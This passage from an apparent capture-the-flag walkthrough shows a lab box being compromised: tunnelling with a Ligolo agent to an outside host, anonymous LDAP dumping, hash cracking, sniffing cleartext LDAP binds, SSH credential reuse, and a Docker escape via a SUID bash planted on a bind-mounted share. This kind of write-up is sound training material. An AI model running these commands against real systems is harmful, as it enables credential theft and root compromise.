{% code overflow="wrap" expandable="true" %}

```
session
```

{% endcode %}

After chosing the session, we can start the tunnel.

{% code overflow="wrap" expandable="true" %}

```
tunnel_start --tun traverse
```

{% endcode %}

To confirm our tunnel and routes we can issue the following commands:&#x20;

{% code overflow="wrap" expandable="true" %}

```
tunnel_list
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
route_list
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAhuIzqILVSAEOuipXAFW%2Fgrafik.png?alt=media&amp;token=46ae1294-7338-479e-8cce-dcad7a917253" alt=""><figcaption></figcaption></figure>

We should now be able to reach out to `172.20.0.0/24`.

### Docker Enumeration & Further Host Enumeration

First, we perform a port scan on `172.20.0.10`.

We use `rustscan -b 500 -a 172.20.0.10 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 172.20.0.10 -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5i9cOBhdcXruAFtCqkHQ%2Fgrafik.png?alt=media&amp;token=035f8417-1970-4a07-b560-be438dbef82f" alt=""><figcaption></figcaption></figure>

The Docker container `172.20.0.10` is a linux machine accessible via SSH on port `22` (OpenSSH `8.9p1`) and is running a Python-based web server on port `8080` (Werkzeug `3.1.8` / Python `3.10.12`) serving the `Traverse HSM · Internal Login` page.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWml50BO1BwXwD28yu7he%2Fgrafik.png?alt=media&amp;token=3e3e02a6-57fe-4384-a4d2-34d7e40dcb37" alt=""><figcaption></figcaption></figure>

We visit the mentioned page on port `8080` and see that you can log in via LDAP. Interseting, we've already seen LDAP running internally on the host.

{% code overflow="wrap" expandable="true" %}

```
http://172.20.0.10:8080/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjJejcCZsQHcVA6oVkqBE%2Fgrafik.png?alt=media&amp;token=516efd84-b665-480b-9c9a-1f666211512c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwxqyY17qmOncOfP0IARB%2Fgrafik.png?alt=media&amp;token=fe7448be-bbd1-4fb0-83b0-1bcf2790fb68" alt=""><figcaption></figcaption></figure>

So, let's try enumerating the LDAP service on the host first, maybe we'll find something interesting.

We'll use ldapsearch and first try to get the base naming context first, since without knowing the naming context we cannot search any entries. We identify the namingContext as `dc=nodomain`.

{% code overflow="wrap" expandable="true" %}

```
ldapsearch -x -H ldap://240.0.0.1 -s base namingcontexts
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1AxFar1OvVgHhqW8SDxZ%2Fgrafik.png?alt=media&amp;token=491914d0-d35a-4af9-be5f-8dc72eb215a4" alt=""><figcaption></figcaption></figure>

Using the base DN obtained from the previous query, we dump all objects in the directory tree anonymously. This may reveal any users, groups, and sensitive attributes like for example passwords or password hashes. And we do find the `userPassword` for spencer and the `webadmin` user as well as their corresponding mails that are required from the login page on `8080`. Those entries are base64 encoded.

{% code overflow="wrap" expandable="true" %}

```
ldapsearch -x -H ldap://240.0.0.1 -b "dc=nodomain" "(objectclass=*)"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDayBU391FMgomoLzLqNe%2Fgrafik.png?alt=media&amp;token=5d73017b-9fb2-4495-89d4-4cfde38ac67c" alt=""><figcaption></figcaption></figure>

We decode them and see that those are SSHA (Salted SHA-1) password hashes. This is the standard format that OpenLDAP uses for `userPassword` attributes.

{% code overflow="wrap" expandable="true" %}

```
echo 'REDACTED' | base64 -d
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMctonBq3TGtucul9L1Z8%2Fgrafik.png?alt=media&amp;token=c2f3d8bc-4b62-440c-9393-9f24f61584cf" alt=""><figcaption></figcaption></figure>

We try to crack the hashes using hashcat and successfully crack the hash for the `webadmin` user.

{% code overflow="wrap" expandable="true" %}

```
hashcat -m 111 'REDACTED' /usr/share/wordlists/rockyou.txt --show
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTwx2E0qr07OS0u1U3mgF%2Fgrafik.png?alt=media&amp;token=abfcd6e5-f3aa-4ae3-b45f-e0de0679145b" alt=""><figcaption></figcaption></figure>

Next, we try tp log in to the dashboard as `webadmin@traverse.hsm`...

{% code overflow="wrap" expandable="true" %}

```
http://172.20.0.10:8080/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FS9FvSfPmRelvkqIJyyvR%2Fgrafik.png?alt=media&amp;token=75e455c8-4239-47d1-b311-435ba603ac13" alt=""><figcaption></figcaption></figure>

... and are successful. We have a Management Dashboard infront of us.

{% code overflow="wrap" expandable="true" %}

```
http://172.20.0.10:8080/dashboard
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxWmu4B6v5VTMzbKJUmyD%2Fgrafik.png?alt=media&amp;token=85116967-3af2-43c4-bc72-5dcdf21c2da2" alt=""><figcaption></figcaption></figure>

## Shell as admin

On that page we see that we are able to perfom LDAP conneciton tests.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtvYGodwmlyaNn4MRHDvv%2Fgrafik.png?alt=media&amp;token=cc073e32-39f5-4e4f-9de4-4f7924cddd61" alt=""><figcaption></figcaption></figure>

We issue such a test and see an authentication as admin being done.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKJ0BfNI3X56C1w3VIVpQ%2Fgrafik.png?alt=media&amp;token=39389a09-77f1-4052-bc43-e234a42cabf1" alt=""><figcaption></figcaption></figure>

We recall our Linpeas results and we know that we are able to sniff the data from the host. Since we have not found any other docker containers in the network and the Host is listening to `389` we try to sniff for that traffic. We may be able to capture the credentials being issued.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F07BHJX2uJXVdfAfnNQt1%2Fgrafik.png?alt=media&amp;token=77f4565c-c335-4463-8b59-5b7fde31736e" alt=""><figcaption></figcaption></figure>

In our Penelope session we stop our ligolo agent if not already run in background and run the agent again in background...

{% code overflow="wrap" expandable="true" %}

```
CTRL + C
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
./agent -connect 10.200.98.51:11601 --ignore-cert &
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpdUNfS8oNRpiy3d51sbP%2Fgrafik.png?alt=media&amp;token=e10639da-0a9f-47b6-b3f0-d7036a4aed5b" alt=""><figcaption></figcaption></figure>

Next, we run a tcpdump on port `389` on any interface...

{% code overflow="wrap" expandable="true" %}

```
tcpdump -i any -A port 389
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbJPPMaTkkF7h1qm8M6wa%2Fgrafik.png?alt=media&amp;token=b43bfcb0-9519-4a80-a09f-5867e2e0aa25" alt=""><figcaption></figcaption></figure>

... and issue another LDAP connection test.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTtryuyDlLuhS73jLJjN7%2Fgrafik.png?alt=media&amp;token=2d2bcc6e-c1ff-4968-a81f-55d0b580d4e2" alt=""><figcaption></figcaption></figure>

We see the connection being made and also spot something that looks like credentials.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWIKNEENxUsspdJ6YPymU%2Fgrafik.png?alt=media&amp;token=c3844ffc-8eaf-4904-aea4-efb81d6c2ba6" alt=""><figcaption></figcaption></figure>

We can also create a capture file to inspect the traffic in a more human readable way.

{% code overflow="wrap" expandable="true" %}

```
tcpdump -i any -A port 389 -w ldap_dump.pcap
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgrlEaalht7Up9mWzifEa%2Fgrafik.png?alt=media&amp;token=bd15971d-2c70-43c5-a2f9-86b4c4b0e6b6" alt=""><figcaption></figcaption></figure>

We issue another connection test.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1JRs8ZZRjVY9uCfh20MH%2Fgrafik.png?alt=media&amp;token=afb77698-eac3-4653-97d3-a9eb3b3aac95" alt=""><figcaption></figcaption></figure>

And after the connection test we abort the tcpdump process and gather the captured result.

{% code overflow="wrap" expandable="true" %}

```
CTRL + C
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQ63gKIVhTit0sGBmpEru%2Fgrafik.png?alt=media&amp;token=5671b2af-286a-404b-91af-316fddeb4c53" alt=""><figcaption></figcaption></figure>

To retreive the data we run a simple python webserver on the target machine...

{% code overflow="wrap" expandable="true" %}

```
python3 -m http.server 9000
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fm8XE2jbWzIp0krc6DS44%2Fgrafik.png?alt=media&amp;token=b530d32e-8087-42da-a109-846f6f3bbec2" alt=""><figcaption></figcaption></figure>

... and download the PCAP file.

{% code overflow="wrap" expandable="true" %}

```
wget http://240.0.0.1:9000/ldap_dump.pcap
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9W2FchvYBOTeD8Ya40MZ%2Fgrafik.png?alt=media&amp;token=4fa12380-774a-4281-ba09-16128403ab8b" alt=""><figcaption></figcaption></figure>

Inspecting the PCAP file we see that LDAP simple binds send credentials in cleartext on port `389`, any bind request will expose the DN and password directly in the capture.&#x20;

{% code overflow="wrap" expandable="true" %}

```
tshark -r ldap_dump.pcap -Y "ldap.protocolOp == 0" -T fields -e ldap.name -e ldap.simple
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdS57KaPCrAllgYKHoIgO%2Fgrafik.png?alt=media&amp;token=eb55b394-df89-41d7-8467-ce7d41bd8830" alt=""><figcaption></figcaption></figure>

We try to reuse the credentials to log in via SSH to the container possible to our Ligolo setup and we see we are able to log in. Here, too, the policy was not followed, and there was no strict separation of user credentials between application users and system users.

{% code overflow="wrap" expandable="true" %}

```
ssh admin@172.20.0.10
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9W0pRlyuVLjDdDAZJzPd%2Fgrafik.png?alt=media&amp;token=b1b8419f-b1b1-44fd-96d7-8b7580d421e2" alt=""><figcaption></figcaption></figure>

## Shell as root

As the `admin` user, we can run everything as `root` using `sudo`, so let's switch to the root user right away.

{% code overflow="wrap" expandable="true" %}

```
sudo -l
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
sudo su
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsrikMMKNyzd7Qci4y14J%2Fgrafik.png?alt=media&amp;token=1c7a7997-bb4f-4147-b521-e0e1610043a7" alt=""><figcaption></figcaption></figure>

Now that we have root privileges on the Docker container, we can try to escape from it. To enumerate such possibilities, we'll use the `deepce.sh` script.

{% embed url="<https://github.com/stealthcopter/deepce>" %}

{% code overflow="wrap" expandable="true" %}

```
./deepce.sh 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzABQLXcQeyxxDcVApGEn%2Fgrafik.png?alt=media&amp;token=e9d7e362-dcfa-4a5f-b63a-7ad70947e433" alt=""><figcaption></figcaption></figure>

Among other things, we see that a share has been mounted. Perhaps it's located on the host. If that's the case, we could use it to escalate privileges by placing a Bash binary there and setting the SUID bit.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fhv7lvuUldSWGnNA4uWAK%2Fgrafik.png?alt=media&amp;token=c4ff0505-793d-4e45-a721-06585f5dadc0" alt=""><figcaption></figcaption></figure>

We see that we have write permissions on the share. But first we need to figure out where this share is eventually on the host so we insert a file we will look for from the hosts perspective.

{% code overflow="wrap" expandable="true" %}

```
ls -lah /mnt/share/
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
echo 'hello world' > /mnt/share/breadcrumb
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQk8XHfwRlKKxDZHaUc2F%2Fgrafik.png?alt=media&amp;token=e0a06727-0520-46b8-9b22-7de92c02b4b5" alt=""><figcaption></figcaption></figure>

We search for our file and do find it at `/var/share`.

{% code overflow="wrap" expandable="true" %}

```
 find / -type f -name "breadcrumb" 2>/dev/null
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBxYWnEyxGoCWpRmTXA91%2Fgrafik.png?alt=media&amp;token=733b5a56-03d1-4551-b5f1-736421973c82" alt=""><figcaption></figcaption></figure>

The container's `/mnt/share` and the host's `/var/share` are the same directory via a bind mount. Unfortunately we cannot write the bash binary from the host to the share due to missing permissions and it would be owned by spencer... But we can copy a SUID root bash there from inside the container, so it appears on the host owned by real root. And it's compatible with the system of the host. Since there's no `nosuid` on the mount and no user namespace remapping, the host kernel honors the SUID bit and gives spencer `euid=0` when running it with `-p`.

{% code overflow="wrap" expandable="true" %}

```
cp /bin/bash /mnt/share/bash && chmod +sx /mnt/share/bash
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHS0J5Ls7JQtFiNxUEVeg%2Fgrafik.png?alt=media&amp;token=7a3a1194-4014-41bc-bb70-a06ad4397aee" alt=""><figcaption></figcaption></figure>

We run the bash SUID binary with `-p` and become root and are able to read the final flag at `/root/root.txt`.

{% code overflow="wrap" expandable="true" %}

```
/var/share/bash -p
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTsRtnXqSqLuHZZx9Aa3D%2Fgrafik.png?alt=media&amp;token=0fe7c2d7-c773-498c-851f-484c60814f4b" alt=""><figcaption></figcaption></figure>
